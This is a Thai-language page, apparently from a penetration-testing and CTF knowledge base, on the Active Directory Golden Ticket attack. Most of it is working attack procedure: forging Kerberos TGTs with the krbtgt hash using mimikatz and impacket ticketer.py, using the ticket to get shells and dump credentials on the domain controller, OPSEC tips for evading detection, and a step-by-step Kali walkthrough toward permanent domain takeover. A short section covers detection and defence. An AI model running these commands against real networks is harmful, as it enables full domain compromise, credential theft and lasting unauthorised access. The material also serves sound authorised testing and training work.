คลัง
active-directory

Golden Ticket

Golden Ticket คือการปลอม TGT (Ticket Granting Ticket) ด้วย NTLM hash ของบัญชี krbtgt — ทำให้ปลอมตัวเป็นใครก็ได้ (รวม Domain Admin) ในโดเมน เป็น persistence ที่ทรงพลังสุดเพราะ valid จนกว่าจะ reset krbtgt บทนี้ลงลึกกลไก, สิ่งที่ต้องเตรียม, การสร้างด้วย mimikatz/impacket, การใช้, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#golden-ticket#active-directory#kerberos#krbtgt#tgt#persistence#ctf

1. หลักการ — ทำไมปลอม TGT ได้

ใน Kerberos, TGT (ตั๋วที่ใช้ขอ service ต่อ) ถูกเข้ารหัสและ sign ด้วย NTLM hash ของบัญชี krbtgt DC ตรวจ TGT โดยถอดรหัสด้วย krbtgt hash — ถ้าถอดได้ก็เชื่อ โดยไม่ตรวจย้อนว่า TGT ออกมาอย่างไร ดังนั้นถ้าเรามี krbtgt hash (จาก DCSync) เราสร้าง TGT ปลอมเองได้ ใส่ว่าเป็นใคร (เช่น Administrator) สิทธิ์อะไร (เช่นสมาชิก Domain Admins) — DC จะเชื่อทุกอย่าง เพราะถอดด้วย krbtgt hash ผ่าน นี่คือ 'Golden Ticket'

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. สิ่งที่ต้องเตรียม

ต้องมีได้จากไหน
krbtgt NTLM hash (หรือ AES key)DCSync (ดูหัวข้อ DCSync)
Domain SIDwhoami /user, PowerView, lookupsid.py
Domain FQDNรู้อยู่แล้ว (เช่น domain.local)
username ที่จะปลอมเลือกเอง (เช่น Administrator)
หา Domain SID
# Windows
whoami /user                         # ดู SID (ตัด RID ท้ายออก = domain SID)
# PowerView: Get-DomainSID

# Linux (impacket)
lookupsid.py domain.local/user:password@10.10.10.10 0
# หรือจาก secretsdump output
domain SID = SID ของ user ตัดส่วน -RID (เลขท้าย) ออก เช่น S-1-5-21-xxx-xxx-xxx

3. สร้าง Golden Ticket (mimikatz)

mimikatz kerberos::goldenWindows
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-...-...-... /krbtgt:KRBTGT_NTLM_HASH /ptt

# /user   = ชื่อที่จะปลอม (จะใส่อะไรก็ได้)
# /domain = FQDN
# /sid    = domain SID
# /krbtgt = NTLM hash ของ krbtgt (จาก DCSync)
# /ptt    = pass-the-ticket (inject เข้า session เลย)

# ใช้ AES แทน RC4 (เนียนกว่า)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /aes256:KRBTGT_AES256_KEY /ptt

# หลัง /ptt แล้วใช้ได้เลย เช่น:
# dir \\DC\C$
/ptt inject ticket เข้า session ปัจจุบันทันที; ใช้ AES key แทน /krbtgt เพื่อหลบการตรวจ RC4

4. สร้าง Golden Ticket (impacket, Linux)

ticketer.py + ใช้งานLinux
# สร้าง golden ticket เป็นไฟล์ .ccache
ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-...-...-... -domain domain.local Administrator

# ได้ Administrator.ccache → ตั้งเป็น ticket ปัจจุบัน
export KRB5CCNAME=Administrator.ccache

# ใช้ ticket เข้าถึง service (pass-the-ticket)
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
secretsdump.py -k -no-pass domain.local/Administrator@dc.domain.local
wmiexec.py -k -no-pass domain.local/Administrator@dc.domain.local
ticketer.py สร้าง .ccache; export KRB5CCNAME แล้วใช้ -k -no-pass กับ impacket tools อื่น

5. Golden vs Silver Ticket

Golden TicketSilver Ticket
ปลอมอะไรTGT (ตั๋วหลัก)TGS (ตั๋ว service เฉพาะ)
ใช้ hash ของkrbtgtservice account/computer
เข้าถึงทุก service ในโดเมนเฉพาะ service นั้น
คุยกับ DC?ใช่ (ขอ TGS ต่อ)ไม่ (ตรงไป service)
ตรวจจับง่ายกว่า (แตะ DC)ยากกว่า (ไม่แตะ DC)
ขอบเขตยึดทั้งโดเมนจำกัดแต่เนียน (ดู Silver Ticket)

6. OPSEC และการป้องกัน

  • OPSEC: ใช้ค่าที่สมจริง — username ที่มีอยู่จริง, ใช้ AES แทน RC4, ตั้งอายุ ticket ตามปกติ (mimikatz default 10 ปีดูผิดปกติ)
  • ตรวจจับ: Event 4769 (TGS request) ที่ไม่มี 4768 (TGT request) คู่กัน = TGT ที่ไม่ได้ออกจาก DC; ticket อายุยาวผิดปกติ
  • ป้องกันหลัก: reset krbtgt password 2 ครั้ง (มี history 2 รุ่น) — ตัด Golden Ticket ทั้งหมด
  • ป้องกัน: ปกป้อง krbtgt hash (ป้องกัน DCSync ตั้งแต่แรก)
  • ป้องกัน: ใช้ Protected Users group, monitor anomaly ของ Kerberos ticket
  • เป็น persistence: Golden Ticket valid จนกว่า krbtgt เปลี่ยน — ใช้กลับเข้าได้แม้รหัสอื่นถูก reset หมด

7. Quick Reference

  • ปลอม TGT ด้วย krbtgt hash → เป็นใครก็ได้ (รวม DA)
  • ต้องมี: krbtgt hash (DCSync), domain SID, FQDN
  • หา SID: whoami /user (ตัด RID); lookupsid.py
  • Windows: mimikatz kerberos::golden /user /domain /sid /krbtgt /ptt
  • Linux: ticketer.py -nthash KRBTGT -domain-sid SID -domain D user → KRB5CCNAME
  • ใช้: psexec.py/secretsdump.py -k -no-pass
  • ป้องกัน: reset krbtgt x2; AES เนียนกว่า RC4; monitor 4769

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งดึง krbtgt hash มาได้ (จาก DCSync) มีแค่ Kali ทำตามนี้สร้าง Golden Ticket แล้วยึดโดเมนถาวร

  1. 1ยืนยันมีของครบ: krbtgt hash, domain SID, domain FQDN
  2. 2หา SID (ถ้ายังไม่มี): lookupsid.py domain.local/user:pass@<DC_IP> 0 หรือดูจาก secretsdump output
  3. 3สร้าง ticket: ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain domain.local Administrator
  4. 4ตั้ง ticket เป็นค่าใช้งานปัจจุบัน: export KRB5CCNAME=Administrator.ccache
  5. 5ทดสอบเข้า DC ทันที: psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
  6. 6ถ้าเข้าไม่ได้ ลอง wmiexec.py -k -no-pass ... หรือ secretsdump.py -k -no-pass ...
  7. 7ถ้ายัง fail ให้เช็คเวลาเครื่อง (ntpdate <DC_IP>) เพราะ Kerberos ไวต่อ clock skew มาก
  8. 8เข้าได้แล้ว → ใช้สิทธิ์ Administrator/DA ทำอะไรก็ได้ในโดเมน และเก็บ ticket ไว้ใช้ซ้ำได้จนกว่า krbtgt จะถูก reset
จาก krbtgt hash → Golden Ticket → ยึดโดเมน
มี krbtgt hash + domain SID + FQDN ครบไหม
✅ ครบ→ สร้าง ticket ด้วย ticketer.py
❌ ยังไม่มี krbtgt hash→ ต้องไปทำ DCSync ก่อน
ticketer.py -nthash KRBTGT -domain-sid SID -domain D Administrator
✅ ได้ .ccache→ export KRB5CCNAME แล้วทดสอบเข้า DC
❌ error (SID ผิด format)→ ตรวจ SID ใหม่ด้วย lookupsid.py
psexec.py -k -no-pass domain/Administrator@DC
✅ เข้าได้ (SYSTEM shell)→ ยึดโดเมนสำเร็จ ทำอะไรก็ได้ต่อ
❌ เข้าไม่ได้ (clock skew/error)→ sync เวลา ntpdate DC_IP แล้วลองใหม่
ntpdate <DC_IP> (sync เวลา)
✅ sync สำเร็จ→ ลอง psexec.py/wmiexec.py ใหม่
❌ ยัง fail อยู่→ ตรวจ hash/SID/FQDN อีกครั้งให้ตรง
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา domain SIDimpacket (lookupsid.py)pipx install impacket-
สร้าง Golden Ticketimpacket (ticketer.py)--
ใช้ ticket เข้า DCimpacket (psexec.py/wmiexec.py/secretsdump.py)--
sync เวลากับ DCntpdate / rdateapt install ntpdate-
ยืนยัน creds/สิทธิ์เดิมnetexec (crackmapexec)apt install netexec-
ทางเลือก remote shell-gem install evil-winrm-
🚑 ถ้าตันสนิท ลองท่าถัดไป: DCSync (ถ้ายังไม่มี krbtgt hash) · Silver Ticket (ถ้าอยากเนียนกว่า/จำกัดขอบเขต แทนที่จะแตะ DC ตรงๆ) · ACL Abuse (ถ้าสิทธิ์ยังไม่ถึง DCSync ต้องหา path ก่อน) · DCShadow (ถ้าต้องการ persistence ที่เนียนกว่านี้อีก)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้